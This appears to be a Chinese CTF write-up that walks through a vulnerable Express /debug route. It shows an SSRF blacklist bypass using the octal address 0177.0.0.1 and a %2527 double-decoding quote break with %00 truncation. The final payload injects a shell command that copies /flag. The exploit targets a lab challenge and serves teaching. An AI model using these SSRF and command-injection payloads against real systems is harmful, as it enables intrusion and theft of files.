快速拔刀(不是)
快速找到关键源码
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) {
res.json({});
});
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
module.exports = router;
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
如果没有找到匹配的字符串则返回 -1。
child_process 新建子进程,从而执行 Unix 系统命令
blacklist里屏蔽了一些ssrf绕过的方法,但是可以参考这篇文章绕过
https://www.secpulse.com/archives/65832.html
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
二次解码:https://github.com/nodejs/node/blob/master/lib/url.js
也就是URL中表示用户名和密码的字段会被二次解码,可以通过%2527@来闭合引号
代码大意:
get:判断访问ip是否在blacklist
中,如果是本地访问就读取get参数中的url
参数,去除其中的单引号和双引号,然后用nodejs的url.parse
去解析。把解析后的url拼接到一条shell命令中执行。之后返回/tmp/log
文件中的内容。
POST: 检测是否提交了url参数,若提交了该参数则会用url.parse
解析,然后判断其中的主机名字段是否在blacklist
中,不在的话,去使用GET方法请求url
参数中所提交的url,返回请求的内容。
payload:
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}
这个样子:
echo ‘http://a’a;cp$IFS/flag$IFS/tmp/log%00’»/tmp/log